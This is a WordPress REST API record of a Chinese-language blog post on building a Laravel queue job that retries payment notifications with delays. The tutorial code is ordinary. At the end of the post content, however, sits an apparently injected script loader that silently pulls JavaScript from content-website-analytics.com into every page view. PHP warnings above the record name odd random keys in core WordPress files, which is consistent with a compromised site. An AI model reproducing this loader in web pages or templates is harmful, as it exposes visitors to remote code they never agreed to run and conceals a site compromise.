<br />
<b>Warning</b>:  Undefined array key "aHxDTi" in <b>/www/wwwroot/hesiwei.cn/wp-includes/rewrite.php</b> on line <b>1</b><br />
<br />
<b>Warning</b>:  Undefined array key "wOZyTK" in <b>/www/wwwroot/hesiwei.cn/wp-includes/class-wp-block-type-registry.php</b> on line <b>1</b><br />
{"id":1123,"date":"2017-03-07T17:10:36","date_gmt":"2017-03-07T09:10:36","guid":{"rendered":"http:\/\/hesiwei.cn\/?p=1123"},"modified":"2026-04-29T15:34:35","modified_gmt":"2026-04-29T07:34:35","slug":"laravel-%e8%ae%a2%e5%8d%95%e9%80%9a%e7%9f%a5%e9%98%9f%e5%88%97","status":"publish","type":"post","link":"https:\/\/hesiwei.cn\/?p=1123","title":{"rendered":"laravel \u8ba2\u5355\u901a\u77e5\u961f\u5217"},"content":{"rendered":"<h2>\u9700\u6c42<\/h2>\n<p>\u8ba2\u5355\u5b8c\u6210\u652f\u4ed8\u540e\u901a\u77e5\u670d\u52a1\u5668\u5df2\u5230\u8d26\uff0c\u901a\u77e5\u5931\u8d25\u5219\u91cd\u8bd5\uff0c\u6700\u591a3\u6b21\uff0c\u7b2c\u4e8c\u6b215\u79d2\u540e\uff0c\u7b2c\u4e09\u6b2110\u79d2\u540e<\/p>\n<h2>\u5b9e\u73b0\u65b9\u6848\u4e00<\/h2>\n<h3>\u751f\u6210\u4efb\u52a1\u7c7b<\/h3>\n<pre><code>php artisan make:job PaymentNotify\n<\/code><\/pre>\n<p>\u547d\u4ee4\u5c06\u4f1a\u5728app\/Jobs\u76ee\u5f55\u4e0b\u751f\u6210\u4e00\u4e2a\u65b0\u7684\u7c7b,\u7f16\u8f91\uff1a<\/p>\n<pre><code>&lt; ?php\n\nnamespace App\\Jobs;\n\nuse App\\Exceptions\\SignException;\nuse Illuminate\\Bus\\Queueable;\nuse Illuminate\\Queue\\SerializesModels;\nuse Illuminate\\Queue\\InteractsWithQueue;\nuse Illuminate\\Contracts\\Queue\\ShouldQueue;\n\nclass PaymentNotify implements ShouldQueue\n{\n    use InteractsWithQueue, Queueable, SerializesModels;\n\n    protected $data;\n\n    \/**\n     * Create a new job instance.\n     *\n     * @param $data\n     *\/\n\n    public function __construct($data)\n    {\n        $this-&gt;data = $data;\n    }\n\n    \/**\n     * Execute the job.\n     *\n     * @throws \\Exception\n     *\/\n    public function handle()\n    {\n        if ($this-&gt;attempts() == 1) {\n            \/\/\u5904\u7406\u8ba2\u5355\u901a\u77e5\n            info('notify'.$this-&gt;attempts());\n            if(true){\/\/\u6d4b\u8bd5\u5f3a\u5236\u901a\u77e5\u5931\u8d25\n                $this-&gt;release(5);\/\/\u624b\u52a8\u91ca\u653e\u4efb\u52a1\u56de\u961f\u5217\uff0c\u5e26\u5ef6\u65f6\u6267\u884c\u65f6\u95f4\n            }\n        }\n\n        if ($this-&gt;attempts() == 2) {\n            \/\/\u5904\u7406\u8ba2\u5355\u901a\u77e5\n            info('notify'.$this-&gt;attempts());\n            if(true){\n                $this-&gt;release(10);\n            }\n        }\n\n        if ($this-&gt;attempts() == 3) {\n            \/\/\u5904\u7406\u8ba2\u5355\u901a\u77e5\n            info('notify'.$this-&gt;attempts());\n            if(true){\n                throw new SignException('fails');\/\/\u629b\u51fa\u5f02\u5e38\uff0c\u4efb\u52a1\u5931\u8d25\uff0c\u81ea\u52a8\u5165\u5e93\n            }\n\n        }\n    }\n\n}\n<\/code><\/pre>\n<h3>\u6dfb\u52a0\u6d4b\u8bd5\u8def\u7531\u5e76\u8bbf\u95ee\uff1a<\/h3>\n<pre><code>Route::get('\/pay\/notify', function(){\n    dispatch((new \\App\\Jobs\\PaymentNotify(['order'=&gt;time().mt_rand(1000,9999)]))-&gt;onQueue('PaymentNotify'));\n    return 'ok';\n});\n<\/code><\/pre>\n<h3>\u76d1\u542c\u961f\u5217<\/h3>\n<pre><code>php artisan queue:work  --queue=PaymentNotify --tries=3  --sleep=0\n<\/code><\/pre>\n<p>\u53ef\u67e5\u770b\u4f7f\u7528\u8bf4\u660e<\/p>\n<pre><code>$php artisan queue:work --help\nUsage:\n  queue:work [options] [--] [&lt;connection&gt;]\n\nArguments:\n  connection               The name of connection\n\nOptions:\n      --queue[=QUEUE]      The queue to listen on\n      --daemon             Run the worker in daemon mode (Deprecated)\n      --once               Only process the next job on the queue\n      --delay[=DELAY]      Amount of time to delay failed jobs [default: \"0\"]\n      --force              Force the worker to run even in maintenance mode\n      --memory[=MEMORY]    The memory limit in megabytes [default: \"128\"]\n      --sleep[=SLEEP]      Number of seconds to sleep when no job is available [default: \"3\"]\n      --timeout[=TIMEOUT]  The number of seconds a child process can run [default: \"60\"]\n      --tries[=TRIES]      Number of times to attempt a job before logging it failed [default: \"0\"]\n  -h, --help               Display this help message\n  -q, --quiet              Do not output any message\n  -V, --version            Display this application version\n      --ansi               Force ANSI output\n      --no-ansi            Disable ANSI output\n  -n, --no-interaction     Do not ask any interactive question\n      --env[=ENV]          The environment the command should run under\n  -v|vv|vvv, --verbose     Increase the verbosity of messages: 1 for normal output, 2 for more verbose output and 3 for debug\n<\/code><\/pre>\n<p>\u547d\u4ee4\u610f\u601d\u662f\uff1a\u4f7f\u7528\u9ed8\u8ba4\u961f\u5217\u8fde\u63a5\u7684PaymentNotify\u961f\u5217\uff0c\u5931\u8d25\u6700\u591a\u5c1d\u8bd5\u6267\u884c3\u6b21\uff0c\u8f6e\u8be2\u65b0\u4efb\u52a1\u4e4b\u524d\u7684\u7b49\u5f85\u65f6\u95f4\u4e3a0\uff08\u5373\u6709\u4efb\u52a1\u968f\u65f6\u68c0\u6d4b\u6267\u884c\uff0c\u4e0d\u4f1a\u5728\u65e0\u4efb\u52a1\u65f6\u9ed8\u8ba4\u7b49\u5f853\u79d2\uff09<\/p>\n<h3>\u4efb\u52a1\u6267\u884c\u60c5\u51b5<\/h3>\n<pre><code>[2017-03-07 16:22:44] local.INFO: notify1  \n[2017-03-07 16:22:49] local.INFO: notify2  \n[2017-03-07 16:22:59] local.INFO: notify3\n<\/code><\/pre>\n<p>\u7b26\u5408\u9884\u671f<\/p>\n<h2>\u65b9\u6848\u4e8c<\/h2>\n<p>\u53e6\u4e00\u79cd\u601d\u8def\u662f\u8ba2\u5355\u5b8c\u6210\u540e\u76f4\u63a5\u751f\u62103\u4e2a\u961f\u5217\uff0c<\/p>\n<pre><code>$order = time().mt_rand(1000,9999);\n\ndispatch((new \\App\\Jobs\\PaymentNotify(['order'=&gt;$order]))-&gt;onQueue('PaymentNotify'));\n\ndispatch((new \\App\\Jobs\\PaymentNotify(['order'=&gt;$order]))-&gt;onQueue('PaymentNotify')-&gt;delay(5));\n\ndispatch((new \\App\\Jobs\\PaymentNotify(['order'=&gt;$order]))-&gt;onQueue('PaymentNotify')-&gt;delay(10));\n<\/code><\/pre>\n<p>\u540e\u4e24\u4e2a\u961f\u5217\u5e26\u5ef6\u65f6\u6267\u884c\u53c2\u6570\uff0c\u8bbe\u7f6e\u6700\u591a\u6267\u884c\u6b21\u6570\u4e3a1\uff0c\u6267\u884c\u961f\u5217\u65f6\u68c0\u6d4b\u5df2\u7ecf\u901a\u77e5\u6210\u529f\u5219\u8df3\u8fc7\u6267\u884c<\/p>\n<h2>\u603b\u7ed3<\/h2>\n<p>\u65b9\u6848\u4e00\uff1a\u5728\u5904\u7406\u961f\u5217\u65f6\u9700\u5224\u65ad\u91cd\u8bd5\u6b21\u6570\uff0c\u5206\u7c7b\u5904\u7406\uff0c\u4e1a\u52a1\u9700\u6c42\u53d8\u5316\u9700\u6539\u52a8\u591a\uff1b<br \/>\n\u65b9\u6848\u4e8c\uff1a\u5728redis\u4e2d\u76f8\u540c\u961f\u5217\u5b58\u5728\u591a\u6761\uff0c\u4e1a\u52a1\u9700\u6c42\u53d8\u5316\u5904\u7406\u903b\u8f91\u76f8\u5bf9\u6539\u52a8\u5c11\uff1b<br \/>\n\u5404\u6709\u5229\u5f0a\u3002<\/p>\n<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u9700\u6c42 \u8ba2\u5355\u5b8c\u6210\u652f\u4ed8\u540e\u901a\u77e5\u670d\u52a1\u5668\u5df2\u5230\u8d26\uff0c\u901a\u77e5\u5931\u8d25\u5219\u91cd\u8bd5\uff0c\u6700\u591a3\u6b21\uff0c\u7b2c\u4e8c\u6b215\u79d2\u540e\uff0c\u7b2c\u4e09\u6b2110\u79d2\u540e \u5b9e\u73b0\u65b9\u6848\u4e00 \u751f\u6210 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-1123","post","type-post","status-publish","format-standard","hentry","category-php"],"_links":{"self":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts\/1123","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1123"}],"version-history":[{"count":1,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts\/1123\/revisions"}],"predecessor-version":[{"id":1920,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts\/1123\/revisions\/1920"}],"wp:attachment":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1123"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1123"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1123"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}